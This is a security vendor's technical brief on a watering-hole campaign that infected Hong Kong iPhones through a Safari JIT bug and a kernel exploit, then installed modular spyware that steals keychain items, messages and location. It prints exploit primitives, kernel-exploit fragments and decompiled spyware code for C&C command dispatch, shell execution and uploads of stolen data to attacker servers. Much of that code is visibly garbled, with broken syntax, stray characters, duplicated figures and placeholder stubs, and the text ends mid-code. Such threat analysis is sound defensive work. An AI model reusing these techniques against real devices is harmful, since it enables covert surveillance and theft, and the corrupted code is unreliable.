Operation Poisoned News:
Hong Kong Users Targeted with Mobile Malware via Local News Links

Technical Brief
By Elliot Cao, Joseph C. Chen, William Gamazo Sanchez, Lilang Wu, and Ecular Xu
Contents

1 Attack Chain
   1.1 Watering hole attack tactic
   1.2 Infection chain

2 Exploits Analyses
   2.1 The JavaScriptCore exploit
      2.1.1 Bug triggering
      2.1.2 The addrof/fakeobj primitives
      2.1.3 Arbitrary address read/write primitive
      2.1.4 Shellcode execution
   2.2 Kernel exploit

3 iOS Malware lightSpy
   3.1 Startup loader
   3.2 Light: The main malicious control agent
   3.3 BasicInfo module (Command ID 11000)
   3.4 ShellCommandaaa module (Command ID 20000)
   3.5 KeyChain module (Command ID 31000)
   3.6 Screenaaa module (Command ID 33000)
   3.7 SoftInfoaaa module (Command ID 16000)
   3.8 FileManage module (Command ID 15000)
   3.9 WifiList module (Command ID 17000)
   3.10 Browser module (Command ID 14000)
   3.11 Locationaaa module (Command ID 13000)
   3.12 The iOS WeChat module (Command ID 12000)
      3.12.1 The framework for stealing information
      3.12.2 WeChat collected Information
   3.13 iOS QQ module (Command ID 25000)
   3.14 iOS Telegram module (Command ID 26000)

4 Android Malware dmsSpy
   4.1 Distribution
   4.2 Behavior Analysis

5 Appendix
Trend Micro discovered a watering hole attack against iOS users in Hong Kong that first became active in January 2020. The campaign designed several webpages disguised as local news pages then injected them with an iframe that loads an iOS exploit. The iOS exploit flow was designed to exploit vulnerable iOS versions 12.1 and 12.2 on several models ranging from the iPhone 6S to the iPhone X.

Users with unpatched iPhones that access the concerned links will be infected with an iOS malware that can spy on and take full control of the devices. We found that the campaign tricked users into clicking on the malicious news links by posting them on popular forums in Hong Kong.

The iOS malware, which we named "lightSpy" (detected by Trend Micro as IOS_LightSpy.A), is a modular backdoor that allowed the attacker to remotely execute a shell command and manipulate files on the infected device. It is also implemented with several functionalities through different modules for exfiltrating data from the infected device including:

- Hardware information
- Contacts
- Keychain
- SMS messages
- Phone call history
- GPS location
- Connected Wi-Fi history
- Browser history of Safari and Chrome

The malware also reports the surrounding environment of the device by:

- Scanning local network IP address
- Scanning available Wi-Fi network

The campaign also employs modules specifically designed to exfiltrate data from popular messenger applications such as QQ, WeChat, and Telegram.

Our research revealed the campaign also targeted Android devices in 2019. We found URL links of a malicious APK file posted on public Hong Kong-based Telegram channels. The message that the threat actors sent was disguised as a promotion of a seemingly legitimate application luring Android users to install it on their devices. The malware can also exfiltrate device information, contacts, and SMS messages. We named the Android malware "dmsSpy" (detected as AndroidOS_dmsSpy.A).

The design and functionality of the operation suggest that it is not a targeted attack but one that aims to compromise mobile devices as many as possible for backdoor and surveillance. We dubbed the campaign "Operation Poisoned News."
1 Attack Chain

1.1 Watering hole attack tactic

On February 19, we started noticing a watering hole attack targeting iOS users. The malicious webpage crafted by the attacker contained three iframe links to three different sites, with only one that was visible on the browser. The visible link connected to a page from a legitimate news website to make users believe they are looking at the original news website. One invisible iframe connected back to the webservice for the visitor statistic. Another invisible iframe connected to another server, which hosted the main script of the iOS exploit.

![Figure 1. HTML code of the malicious website with three iframes](image)

The threat actors further tricked users on the source of these malicious news webpages by posting them on four different forums of Hong Kong-based users. All of these four forums are popular and provide their own mobile applications for their users. Operation Poisoned News usually posted the topic on the general discussion section of the forums.

The forum post includes the title of the news, the pictures from the news, and the malicious link the threat actors prepared. The forum accounts we found were registered right before the malicious link was posted. We believe it was directly posted by the campaign, and not a case where people reshared the news links from another source.

The news topics selected as lure were mostly related to sexually implied headlines or those related to the COVID-19 disease. We believe these topics weren’t used to target specific users.
We also found a second type of watering hole website that did not use an iframe to load news websites. The page directly copied the original news page and injected the iframe linked to the campaign's exploit server. Our telemetry data shows this type of watering hole was distributed in Hong Kong starting January 2. However, we were not able to identify where the malicious link was distributed at that time.

On March 20, the watering hole attack from Operation Poisoned News continued, as the campaign posted on a forum regarding a supposed schedule for protests in Hong Kong. The link leads to the same infection chain as in the earlier cases.
1.2 Infection chain
The attack takes advantage of iOS versions 12.1 and iOS 12.2, which targets iPhone models from the 6S up to the iPhone X. The following figure shows how the exploit checks for different supported iOS and device versions.

The full exploit chain involves exploiting a silently patched Safari bug on multiple recent iOS versions and a customized kernel exploit. Once the Safari browser renders the exploit, a silently patched bug is taken advantage of, which leads to the exploitation of a known kernel vulnerability to gain root privileges. The exploited kernel bug has been assigned with the CVE ID CVE-2019-8605.

However, the silently patched bug exploited on Safari does not have an assigned CVE ID; some researchers also noted an associated history of failed patches.

After compromising the devices, the attacker installs undocumented and sophisticated spyware for maintaining control over devices and exfiltrating information. The spyware has a modular design with multiple capabilities, such as:

- Modules update
- Remote command dispatch per module
- Complete shell command module

Many of the modules were designed for data exfiltration; for example, there are modules for stealing information from WeChat and Telegram. The following image shows the full attack chain and names the modules initially downloaded and configured.
Because the malware was previously undocumented, we named it “lightSpy.” *Light* is the module manager of this iOS spyware architecture. While analyzing the `payload.dylib` payload, we noticed that the decoded configuration file used by `launchctl` shows a URL that points to `/androidmm/light`, which hints that there is probably also an Android version of lightSpy.

The payload, `payload.dylib`, is signed using the Apple developer certificate chain, probably to evade detection. The campaign is relatively new, based on the signature date (Nov. 29, 2019).
The next sections describe each stage of the full attack chain for iOS, including an analysis of the lightSpy malware. The final section covers the Android APK and how it is related to the Operation Poisoned News campaign.

2 Exploits Analyses
Even when the exploited bug and code execution techniques used in the captured exploit are known in the research community, this section will cover the exploit stages, providing some details focusing on what is unique to the analyzed samples.

2.1 The JavaScriptCore exploit
To briefly describe the exploit used to deploy lightSpy, the following sections will be covered:

1. **Bug triggering**: The use of the “silently patched” vulnerability

2. **The addrof/fakeobj primitives**: The use of generic exploit primitives to build an arbitrary R/W primitive from faked objects.

3. **Arbitrary address read/write primitive**: Take advantage of the final WebAssembly arbitrary R/W primitives to overwrite the WebAssembly object

4. **Shellcode execution**: The exploit shellcode execution that precedes the kernel exploit to get root privileges on the devices

2.1.1 Bug triggering
This bug was accidentally found by @qwertyoruiop in hxxp://rce[.]party/wtf.js. It has since been fixed and does not have a CVE number assigned. It is a JIT (just-in-time)-type confusion bug in Safari’s JavaScript engine JavaScriptCore.
1. The for loop triggers the JIT bug on the function `victim()`
2. In the function `victim()`, the expression “let r = 5 in oj;” triggers the function `has()` callback
3. Because the flag “hack” has been set to 1 after the loop calling function `victim()` being JITed, the “if” branch is executed and `confuse[1]` is set to an object. So the array “confuse” is converted from “ArrayWithDouble” to “ArrayWithContiguous” by this callback.

The problem is JIT does not know there could be a side effect in this callback and the second element of “confuse” is a pointer, which was a number, and still treats the array “confuse” as “ArrayWithDouble”, causing the type confusion.

### 2.1.2 The `addrof/fakeobj` primitives

From a Phrack article, Saelo has introduced the `addrof` and `fakeobj` primitives. The `addrof()` function is used to leak the memory address of the given JavaScript object, and the `fakeobj()` function is used to accept some given address and return a faked JavaScript object at that location.

Because of the JIT-type confusion bug, the primitives `addrof` and `fakeobj` can easily be implemented by confusing a double and a pointer in the array:
2.1.3 Arbitrary address read/write primitive

After getting addrof/fakeobj, it sprays 0x5000 Float64Array and a few WebAssembly objects. It is easy to build a faked and effective Structure ID of 0x5000, which matches the real Structure ID of the sprayed Float64Array. Next, it uses the Structure ID and fakeobj to get a faked object, and adds the Structure ID to get a faked WebAssembly.Memory object. It then creates a faked wasmInternalMemory, which has a large size, and sets it as the faked WebAssembly.Memory object's memory property.

![Figure 11. The addrof and fakeobj primitives](image1)

![Figure 12. Faked Structure ID, WebAssembly.Memory, and wasmInternalMemory (top), and Faked objects (bottom)](image2)
Finally, it gets a stable memory read/write primitive by this faked WebAssembly.Memory object:

```javascript
var newprimitives = {};  
newprimitives.createWriter = function(addrObj) {  
newprimitives.read_i64 = function(addrObj, offset) {  
newprimitives.write_i64 = function(addrObj, offset, value) {  
    newprimitives.write_non_zero = function(where, values) {  
        newprimitives.read_i32 = function(addrObj, offset) {  
newprimitives.write_i32 = function(addrObj, offset, value) {  
newprimitives.read_i16 = function(addrObj, offset) {  
newprimitives.write_i16 = function(addrObj, offset, value) {  
newprimitives.copysto = function(addrObj, offset, data, length) {  
newprimitives.copysto_from = function(addrObj, offset, length) {  
    newprimitives.addrof = window.addrof;  
    newprimitives.fakeobj = window.fakeobj;  
    print("[*] got stable memory r/w.");  
    window.primitives = newprimitives;  
```

Figure 13. Memory read/write primitives

### 2.1.4 Shellcode execution

After getting the arbitrary address read/write primitive, the exploit achieves the shellcode execution in stage two.

It creates a JITed function and gets the function address by the exported symbol “startOfFixedExecutableMemoryPool”. After that, it builds a return-oriented programming (ROP) chain to write the shellcode to the JIT page and creates a temporary stack to execute the ROP chain.
Figure 14. Temp stack for executing the ROP chain
Since the payload contains the jailbreak code after the successful execution of the payload, it will get root privilege.

The next section describes how the payload gets root privilege.

### 2.2 Kernel exploit

In this section, we mainly introduce the local privilege escalation exploit chain used in this attack. All the exploit codes can be found in the payload.dylib payload.

In the jailbreak rootkit published on GitHub by @pwn20wnd & @sbingner, it integrates the following public exploits:

<table>
<thead>
<tr>
<th>Indicator</th>
<th>Attribution</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>empty_list</td>
<td>CVE-2018-4243</td>
<td>iOS 11.0 - 11.3.1</td>
</tr>
<tr>
<td>multi_path exploit</td>
<td>CVE-2018-4241</td>
<td>iOS 11.2 - 11.3.1</td>
</tr>
<tr>
<td>async_wake</td>
<td>CVE-2017-13861</td>
<td>iOS 11.1.2</td>
</tr>
<tr>
<td>Voucher_swap</td>
<td>CVE-2019-6225</td>
<td>iOS 11.2 - iOS 12.1.2</td>
</tr>
<tr>
<td>mach_swap</td>
<td>CVE-2019-6225</td>
<td>iOS 11 - 12.1.2 (&lt;=A9 devices only)</td>
</tr>
<tr>
<td>mach_swap2</td>
<td>CVE-2019-6225</td>
<td>iOS 11 - 12.1.2 (on A7 - A11 devices)</td>
</tr>
</tbody>
</table>

Table 1. Public exploits used by an iOS jailbreak rootkit

To support the iOS 12.2.* versions, this attack campaign used another vulnerability (CVE-2019-8605), which was found by Google Project Zero member Ned Willamson. There are also different exploit versions published on GitHub. In our findings, the campaign used the exploit host in sock_port, which supports iOS 10.0-12.2 and extends the jailbreak ability.

![Figure 15. Where the privilege escalation attack starts](image)

Not only did the sock_port project use CVE-2019-8605 to get the receive rights of the kernel task port in the get_tfp0() function, it also nearly supports most devices with system versions between 10.0 and 12.2. Therefore, in the exploit chain of this campaign, it simply integrates these codes to help to achieve the tfp0, as shown in the following figure.
Figure 16. The get_tfp0() function

```c
printf("[*] creating safer port\n")
G0 = find_port();
if ( G0 ) {
    printf("[-] failed to allocate new tfp0 port\n");
go to LABEL_150;
} else {
    printf("[-] failed to find new tfp0 port address\n");
go to LABEL_150;
} G0 = find_port_sock_port(G0, quord_API#);
if ( G0 ) {
    printf("[-] failed to allocate new tfp0 port address\n");
go to LABEL_150;
} else {
    kalloc(G0+0x600LL);
    printf("[*] failed to kalloc fakeask\n");
go to LABEL_150;
} buffal(G0, h326, 0x600uLL);
```
Figure 19. Combining the kernel slides, it resets the real address for those symbols.

```c
if (found_offsets & 1)
{
    // Address calculation
    v10 = sub_4DDC0();
    setoffset("trustcache", v10);
    // Resetting the real address
    if (unsigned int64getoffset("trustcache") < 0xFFFFF0000000000LL || getoffset("trustcache") == -1)
    {
        v10 = sub_4D390("trustcache");
        setoffset("trustcache", v10);
    }
    // Further address calculations

    // The kernel task's cred value is then stolen for the current process so that it becomes root
    after that, it first gets the address of the IOSurfaceRootUserClient port then uses it to get the address of the actual client and vtable. It then creates a fake client with a fake vtable and overwrites the existing client with the fake one. Lastly, the IOUserClient::getExternalTrapForIndex function in vtable gets replaced with the ROP gadget (add x0, x0, #0x40; ret;) so it can use IOConnectTrap6 to call any function in the kernel as the kernel itself.
```
Figure 21. Code overwriting with the fake client and fake vtable

```c
#include <stdio.h>

int main() {
    // Code implementation...
    return 0;
}
```

Figure 22. Code showing the completed jailbreak operation

```c
#include <stdio.h>

int main() {
    // Code implementation...
    return 0;
}
```
3  The iOS Malware lightSpy

After gaining full kernel privilege, it downloads many malicious libraries to target applications.

Figure 23. Downloaded modules

3.1  Startup loader

The tool launchctl loads or unloads daemons or agents. After downloading all the payloads, the exploit spawns a daemon using launchctl with “ircbin.plist” as the argument.

Figure 24. The launchctl tool is used with ircbin.plist as the argument
This daemon uses irc_loader as an executable. This loader is just a launcher and will be used to start up the main malicious agent deployed on the target side. It first parses the C&C “IP:PORT” address then the download address.

```c
v5 = open("/var/containers/Bundle/irc_loader", "r");
if ( v5 )
{
    bzero(v5, 0x400uLL);
    fseek(v5, -1024uLL, 2);
    fread(v5, 1uLL, 0x400uLL, v5);
    v5 &= 0;
    v6 = objc_msgSend(&OBJC_CLASS -- NSStrng, ".stringWithFormat:", CFSTR("%s"), v28);
    v7 = dictionaryWithJSONString((v6);
    NSLog(CFSTR("StartupParameters=["), v6);
}
else
    NSLog(CFSTR("open /var/containers/Bundle/irc_loader failure"), v4);
    v7 = GID;
```

Figure 25. The irc_loader as an executable

The startup parameters are hidden in the irc_loader binary and are encrypted with the AES algorithm. After decryption, the parameters are shown in the following figure.

![Figure 26. The parameters after decryption](image)

After getting these parameters, it will use them to launch another module called “light".

```c
v10 = objc_msgSend(OBJC_CLASS __lightmanage, "now");
-([lightmanage InitialLightManager] v10, "InitialLightManage", v7);
-v11 = -([lightmanage GetWorkDir] v10, GETWorkDir);
-NSLog(CFSTR("WorkDir=%") v11, v7));
if ( !(unsigned char)objc_msgSend(v10, "fileExistsAtPath:", v11, v11 & 1) )
-([lightmanage createDir] v10, createDir);
-NSLog(CFSTR("%") GetStartLibPath), v7));
-v11 = objc_msgSend(OBJC_CLASS __loadDynamicLib, "now");
-([loadDynamicLib loadLight] v11, "loadLight", CFSTR("/var/containers/Bundle/light"));
-v15 = -([lightmanage GetIpPort] v10, GETIpPort);
-v16 = objc_msgSend(v15, "objectAtIndex", GID);
-v17 = objc_msgSend(v16, "objectForKey", CFSTR("strRemoteIP"));
-v18 = objc_msgSend(v16, "objectForKey", CFSTR("uRemotePort"));
-v19 = -([lightmanage GetParam] v10, "GetParam");
-v20 = objc_msgSend(OBJC_CLASS __messHeap, "minmRunLoop");
-v21 = objc_msgSend(OBJC_CLASS __messHeap, "port");
objc_msgSend(v20, "addPort:forNode:", v21, NSRunLoopCommonNodes);
```

Figure 27. Loading the “light” module
3.2 Light, the main malicious control agent

After “light” starts up, it first initializes a database, which is used to store all the control information.

```c
if (!((unsigned int)*{Db initDb}; {STRING_CLASS Db, "initDb!", mDatabaseDir} & 1))
{
    if (Log("initDb error", v1));
    while (1){{unsigned int}*{Db initDb}; {STRING_CLASS Db, "initDb!", mDatabaseDir}}
}
```

Figure 28. Database is initialized for control information

The SQL statement includes the following:

```sql
CREATE TABLE IF NOT EXISTS t_transport_control (id integer PRIMARY KEY AUTOINCREMENT, cmd integer, wifi integer, mobile integer)
CREATE TABLE IF NOT EXISTS t_command_plan (id integer PRIMARY KEY AUTOINCREMENT, type integer, start integer, stop integer, interval integer , interval_pos integer, cmd integer, arg text NOT NULL)
CREATE TABLE IF NOT EXISTS t_command_record (id integer PRIMARY KEY AUTOINCREMENT, cmd integer, arg text, status integer, type integer, response text, starttime integer)
CREATE TABLE IF NOT EXISTS t_config (id integer PRIMARY KEY AUTOINCREMENT, key text, value text)
CREATE TABLE IF NOT EXISTS t_dormant_control (id integer PRIMARY KEY AUTOINCREMENT, key text, value integer)
CREATE TABLE IF NOT EXISTS t_plugin (id integer PRIMARY KEY AUTOINCREMENT, name text NOT NULL, version text, md5 text, url text, path text, classname text, initparam text, isupdate integer, isdelete integer, downstatus integer)
```

After that, it initializes a thread using the libwebsockets library to implement the messages’ receiving function.
The libwebsockets framework supports registering a callback broker as a protocol when creating the WebSocket handler. After this thread starts, the callback broker is responsible for managing the status of the socket handler.
The broker method (for managing the lifecycle of web socket handler) used an interrupted reason to trap into a different handler method. Among those reasons, LWS_CALLBACK_CLIENT.Receive reason, whose value is 8, is responsible for receiving the commands sent from the C&C server in this attack event.

```c
switch ( n )
{
    case LWS_CALLBACK_CLIENT_HANDSHAKE_ERROR: //ENOMEM
        goto HANDSHAKE_ERROR;
    case LWS_CALLBACK_CLIENT_CLOSED:
        return;
    case LWS_CALLBACK_CLIENT_RECEIVE:
        switch ( n )
        {
            case 8: // LWS_CALLBACK_CLIENT_RECEIVE
                if ( n == 8 )
                {
                    // do something
                }
            default:
                break;
        }
    case LWS_CALLBACK_CLIENT_WRITEABLE:
        switch ( n )
        {
            case LWS_CALLBACK_CLIENT_WRITEABLE:
                if ( n == 8 )
                {
                    // do something
                }
            default:
                break;
        }
    case LWS_CALLBACK_CLIENT_ERROR:
        switch ( n )
        {
            case LWS_CALLBACK_CLIENT_ERROR:
                if ( n == 8 )
                {
                    // do something
                }
            default:
                break;
        }
        break;
}
```

After getting the message, it will call the DealFrameCommand() function to deal with each kind of message, such as config, command plan, and command execution messages.
Figure 32. A sample showing how it deals with command plan messages

An init() then thread initializes the plug-in loading. The initialized process is shown below.
void __cdecl *(CommandThread CommandThreadEntryPoint)(id a1, SEL a2)
{
    dispatch_semaphore_t v3; // x0
    void v13; // x1
    int v14; // x2
    unsigned int v4; // x0
    bool v7; // x3
    unsigned int v8; // [exp=64] [x8p-48h]
    v3 = dispatch_semaphore_create(GL);
    v4 = (void *)thread_name;
    thread_name = (void *)&v8;
    objc_release(v13);
    pthread_run = 1;
    pthread_create(&thread, (void **)&thread_name, (void *)&RunFunction, (void *)v3);
    v7 = (unsigned int *)&thread_run;
    objc_release((void *)&v7);
    objc_class *obj2_class;
    } else {
        v7 = thread_run = 0;
        if (v7 == 0)
            objc_release((void *)&v7);
        continue;
    }
}

void __cdecl *(CommandThread DispatchMessage)(id a1, SEL a2, int a3)
{
    switch (a3)
    {
    case 0:
        objc_msgSend(a1, "DispatchCommand");
        break;
    case 1:
        objc_msgSend(a1, "UpdatePlugin:");
        break;
    case 2:
        objc_msgSend(a1, "InitPlugin:");
        break;
    case 3:
        objc_msgSend(a1, "PluginTimer:");
        break;
    case 4:
        objc_msgSend(a1, "UploadMobileInfo");
        break;
    case 5:
        objc_msgSend(a1, "UploadLogFile");
        break;
    }
    return;
}

void __cdecl *(CommandThread InitPlugin)(id a1, SEL a2)
{
    void v2; // x19
    int64 v3; // x1
    NLOG(CFSTR("**********Enter Init Plugin**********"), a2);
    v2 = objc_autoreleasePoolPush();
    objc_msgSend(a1, [PluginManage LoadPluginList:]);
    objc_autoreleasePoolPop(v2);
    NLOG(CFSTR("**********Leave Init Plugin**********"), v3);
}

void __cdecl *(PluginManage LoadPluginList:)(id a1, SEL a2)
{
    id v3; // x0
    id v4; // x22
    id v5; // x0
    id v6; // x20
    int64 v7; // x1
    NLOG(CFSTR("**********Enter LoadPluginList**********"), a2);
    bLoadComplete = 0;
    v3 = +[Common instance]([OBJC_CLASS__Common, "instance"]);
    objc_msgSend(v6, "sendLogInfo", 10000LL, CFSTR("加载插件列表..."));
    objc_release(v6);
    objc_msgSend(a1, "SendPluginListInfo");
    objc_msgSend(a1, "DownPluginTask");
    objc_msgSend(a1, [LoadALLPlugins]);
    v3 = +[Common instance]([OBJC_CLASS__Common, "instance"]);
    objc_release(v6);
    objc_msgSend(v6, "sendLogInfo", 10000LL, CFSTR("加载插件列表完毕..."));
    objc_release(v6);
    bLoadComplete = 1;
    NLOG(CFSTR("**********Leave LoadPluginList**********"), v7);
}

Figure 33. Plug-in loading gets initialized
The plug-in loading method is notable: It first gets the plug-in name, path, and classname, then uses the path to load the plug-in file through the `dlopen()` function. After that, it uses the `objc_getClass()` function to get the exposed class object, with “classname” as the argument. This way, the Light module can get each plug-in’s main class object and use these class objects to start up their own thread.

```c
v0 = objc_msgSend(v0, "objectForKey:", CFSTR("name"));
v1 = objc_retainAutoreleasedReturnValue(v0);
v2 = objc_msgSend(v1, "objectForKey:", CFSTR("path"));
v3 = objc_retainAutoreleasedReturnValue(v2);
v4 = objc_msgSend(v3, "objectForKey:", CFSTR("classname"));
v5 = objc_retainAutoreleasedReturnValue(v4);
v6 = v5;
objc_msgSend(v6, "movePlugInTo:", v5, v15, v65);
v7 = objc_msgSend(v5, "loadPlugInsAtPath:classname:", v5, v13, v10);
v8 = objc_retainAutoreleasedReturnValue(v7);
v9 = v7;
if (v7)
{
    SEL _16;
    objc_release(v7);
    objc_release(v11);
    objc_release(v13);
    goto LABEL_16;
} else {
    v11 = objc_msgSend(v9, "plugInObj");
    v12 = objc_retainAutoreleasedReturnValue(v11);
    if (v11)
    {
        v6 = v11;
        v7 = objc_msgSend(v12, "getPlugInCommandId");
        if (v12)
        {
            v7 = **Common_instance**; @OBJC_CLASS __Common, "instance");
            v5 = objc_retainAutoreleasedReturnValue(v7);
            v10 = (void *)objc_msgSend(v7, "init");
            objc_release(v10);
        }
        objc_release(v9);
    }
}
```

Figure 34. The `objc_getClass()` function with “classname” as argument

```c
bool __cdecl基准信息 (BaseInfo *self, SEL a3, id a3)
{
    struct objc_super v4; // [xsp=88h] [xhp-30h]
    char v5; // [xsp+97h] [xhp-19h]
    id location; // [xsp+98h] [xhp-18h]
    SEL v7; // [xsp+200h] [xhp-10h]
    BaseInfo *v8; // [xsp+ABh] [xhp-8h]
    v8 = self;
    v7 = a3;
    location = NULL;
    objc_storeStrong(&location, a3);
    v5 = 0;
    v4 = receiver = v8;
    v4 = @OBJC_CLASS __BaseInfo;
    objc_msgSendSuper2(v4, "initializeWithCommon:async:", location, NULL);
    v4->initialized = 1;
    v5 = 1;
    objc_storeStrong(&location, NULL);
    return 1;
}
```

Figure 35. With baseinfoaaa.dylib module as an example, it first calls the `init()` method

```c
v4 = dispatch_semaphore_create(NULL);
v5 = v11->signal;
v6 = dispatch_semaphore_signal(v4);
objc_release(v5);
v13 = objc_msgSend(@OBJC_CLASS __NSGThread, "alloc");
v15 = (__NSGThread *)_NSGThreadCreateStackBlock();
v16 = _NSGThreadCreateStackBlock();
v17 = 0;
v18 = _BasePlugin_initializeWithCommon_async__block_invoke;
v19 = _block(descriptor, temp);
v20 = objc_retain(v19);
v21 = objc_msgSend(v19, "initWithBlock!", &v19);
v22 = v11->thread;
v23 = v11->thread;
v24 = v11->thread;
v25 = [NCPlugin name];
v26 = objc_retainAutoreleasedReturnValue(v20);
objc_msgSend(v26, "stringByAppendingString", CFSTR( thread" ));
v3 = objc_retainAutoreleasedReturnValue(v20);
objc_msgSend(v3, "extension", 1);
objc_release(v7);
objc_release(v7);
objc_msgSend(v26, "_start");
dispatch_semaphore_wait(v4, signal, 0xFFFFFFFFFFFFFFFFULL);
objc_storeStrong(id *v20, NULL);
```

Figure 36. It then starts up the run loop
After all the plug-ins load successfully, attackers can send the control commands for this malicious agent. The agent will dispatch these commands to different modules.

For (i = obj_msgSend(v4, "count", v6); v6 < (unsigned __int64)i; i = obj_msgSend(v4, v7, v29))
{
    v13 = obj_msgSend(v4, v8, v6);
    v13 = obj_retainAutoReleasedReturnValue(v13);
    v29 = v13;
    NSLog(v29, v14);
    if (v13)
    {
        v13 = obj_msgSend(v13, v9, CFSTR("cmd"), v13);
        v13 = obj_retainAutoReleasedReturnValue(v13);
        v13 = obj_msgSend(v13, v9, CFSTR("arg"));
        v13 = obj_retainAutoReleasedReturnValue(v13);
        v9 = v13;
        v29 = v13;
        v29 = obj_msgSend(v29, "base64EncodedString"):(OBJC_CLASS__base64, "base64EncodedString"), v13);
        v9 = v13;
        v29 = v13;
        v29 = obj_retainAutoReleasedReturnValue(v29);
        v13 = obj_msgSend(v13, "IntegerValue");
    }
}

Figure 37. The agent calls the ExeCommand:arg: function, which is in the CommandThread class, to execute the commands

void __cdecl +(CommandThread CommandCommand:arg:)(id a1, SEL a2, int a3, id a4)
{
    __int64 v4; // x21
    id v5; // x30
    __int64 v6; // x1
    void *v7; // x20
    NSString *v8; // x10
    __int64 v10; // x1
    __int64 v11; // x1
    __int64 v12; // x1
    v6 = *(__int64 *)a3;
    v5 = obj_retain(v6);
    NSLog(CFSTR("Enter ExeCommand"), v6);
    v6 = v5;
    v5 = obj_retainAutoReleasePoolPush();
    v6 = obj_msgSend(OBJC_CLASS__NSString, "stringWithFormat:", CFSTR("%d"), v5);
    v5 = obj_retainAutoReleasedReturnValue(v6);
    NSLog(CFSTR("Enter stdin: %lu"), v10);
    +(PluginManage StartCommand:Argv:)(OBJC_CLASS__PluginManage, "StartCommand:Argv:"), v6, v9, v6, v9);
    NSLog(CFSTR("Enter stdin: %lu"), v10);
    objc_release(v9);
    objc_releaseAutoReleasePoolPop(v5);
    NSLog(CFSTR("Leave ExeCommand"), v12);
    void __cdecl +(PluginManage StartCommand:Argv:)(id a1, SEL a2, int a3, id a4)
    {
        __int64 v4; // x20
        id v5; // x19
        id v7; // x0
        id v8; // x0
        void *v9; // x21
        id v10; // x0
        id v11; // x0
        void *v12; // x22
        v6 = *(__int64 *)a3;
        v6 = obj_retain(v6);
        v7 = obj_msgSend(v6, "GetPluginWithCommand:" , v6);
        v6 = obj_retainAutoReleaseReturnValue(v7);
        v6 = v8;
        if (v8)
        {
            v10 = obj_msgSend(v8, "pluginObj");
            v12 = obj_retainAutoReleaseReturnValue(v10);
            v12 = v11;
            if (v11)
                objc_msgSend(v11, "StartCommand:Argv:" , v6, v6);
                objc_release(v12);
            objc_release(v9);
            objc_release(v6);
        }
}

Figure 38. The ExeCommand:arg: function uses a related plug-in object to call their own StartCommand:Argv: function for executing corresponding commands
3.3 BasicInfo module (Command ID 11000)

This module is mainly for gathering and uploading information such as iPhone hardware information, contacts, SMS messages, and phone calls.

![Image](image_url)

Figure 39. The BasicInfo module gathers different iPhone information

3.4 ShellCommandaaa module (Command ID 20000)

This module is mainly used for executing shell commands.

```c
void __cdecl -[ShellCommand StartCommand:Argv:](ShellCommand *self, SEL a2, int a3, id a4)
{
    int64 v4; // x21
    ID v5; // x19
    v6 = *(vQWORD *)a3;
    v5 = objc_retain(a6);
    objc_msgSend_
    __ Lay0Log
    1LL,
    16LL,
    0LL,
    191LL,
    0LL,
    CFSTR("ts|tu|tsEnter Start Command:tV"),
    "users/mac/ios/devices/team/ShellCommand/ShellCommand/ShellCommand.m",
    "-[ShellCommand StartCommand:Argv:],"
    191LL,
    v3);
    if (_vQWORD)v4 == 20001
    -[ShellShellExecuteCommand](self->mShell, 'ShellExecuteCommand:', v6);
    else
    -[ShellCommand SendOverPackage:r](self, "SendOverPackage:r", v4, 0LL);
    objc_release(v6);
}
```

Figure 41. The ShellCommandaaa module for executing shell commands
The module will upload the execution result if necessary. Here it uses the `dictToJsonData()` function to serialize the result and post the data to the `http://.../api/shell/result` server.

3.5 KeyChain module (Command ID 31000)

This module is mainly for getting targets' Keychain information. It uses the `SecItemCopyMatching()` function with the following dictionary to copy Keychain items.
The SecItemCopyMatching() function

Each item, including the password, certificate, and key, is parsed and added into the return data object.

Sensitive information is uploaded to the "hxsp://.../api/keychain/" server.
3.6 Screenaaa module (Command ID 33000)

This module is mainly for scanning around the target device. The method it uses goes through these four steps:

1. Determine the target device IP address and the subnet mask.
2. Calculate the range of possible addresses in its subnet. The range is obtained by using logical AND operator, where operands are binary values of the IP address and subnet mask.
3. Iterate through the range and ping each IP address.

```objective-c
while ( 1 )
{
    v29 = [MMLANscanner setPsToPing];
    v29 = [MMLANscanner start function];
    v29 = [MMLANscanner start function];
}
```

Figure 47. MMLANScanner start function

```objective-c
while ( 1 )
{
    v29 = [MMLANscanner setPsToPing];
    v29 = [MMLANscanner start function];
    v29 = [MMLANscanner start function];
}
```

Figure 48. Ping operation via MMLANScanner
4. Upload the data to the hxxp://.../api/lan_devices/ server using the void __cdecl -[LanDevices mainPresenterIPSearchFinished]:([LanDevices *self, SEL a2, id a3) function.

3.7 SoftInfoaaa module (Command ID 16000)
This module has two sub-command IDs: 16001 and 16002. Command 16001 is used to get the software list, while command 16002 is used to get the process list.

The following figure shows how to get the installed software list (id __cdecl +[AppInfo getAppInfoList](id a1, SEL a2)). It mainly uses an undocumented application programming interface (API) called installedApplications to achieve that.

```
void __cdecl +[AppInfo getAppInfoList](id a1, SEL a2)
```

Figure 49. Uploading the data to the server

Figure 50. Getting the installed software list
The following figure shows how it first calls the “ps -Aef” command to get the process list, then calls the getRunningProcessesList function to parse for details.

Figure 51. Getting the process list information

Lastly, it uploads the software list or process list information to the corresponding server.

Figure 52. Getting the process ID (PID), process path, app, to name a few
3.8 FileManage module (Command ID 15000)

This module is mainly used for file or directory operation, including the following sub-commands: get directory and file list, upload file, download file, delete file, create directory, rename file, move file, copy file, and get the directories of applications.
3.9 WifiList module (Command ID 17000)
This module is mainly for getting Wi-Fi information, including Wi-Fi history, where the command ID is 17001, and the Wi-Fi scan list has a command ID of 17002.

```swift
if (v5 == 17001) {
    [WifiList GetWifiHistory](v7, "GetWifiHistory");
} else if (v5 == 17002) {
    [WifiList GetWifiScanList](v7, "GetWifiScanList");
} else {
    [WifiList SendOverPackages](v7, "SendOverPackages", v5, GLL);
    [objc_storeStrong](location, GLL);
}
```

Figure 55. Getting the Wi-Fi history and scan list

```swift
v41 = [objc_retain茌CFSTR(["/private/var/preferences/SystemConfiguration/com.apple.wifi.plist"])];
v29 = [objc_msgSend([иде CLASS _ NSDictionary, "dictionaryWithContentsOfFile:", v43]);
v40 = [objc_retain茌autoreleasedReturnValue(v29)];
```

Figure 56. Getting the Wi-Fi history by directly reading the data stored in the com.apple.wifi.plist file
for ( i = 0 ; ++i )
{
    v26 = 1;
    if ( v26 >= (unsigned__int64)objc_msgSend(v38, "count" ) )
        break;
    v31 = objc_msgSend(v38, "objectAtIndex:", i);
    v36 = objc_retainAutoreleasedReturnValue(v33);
    if ( v36 )
    {
        v32 = objc_msgSend(v36, "objectForKey:", CFSTR("SSID"));
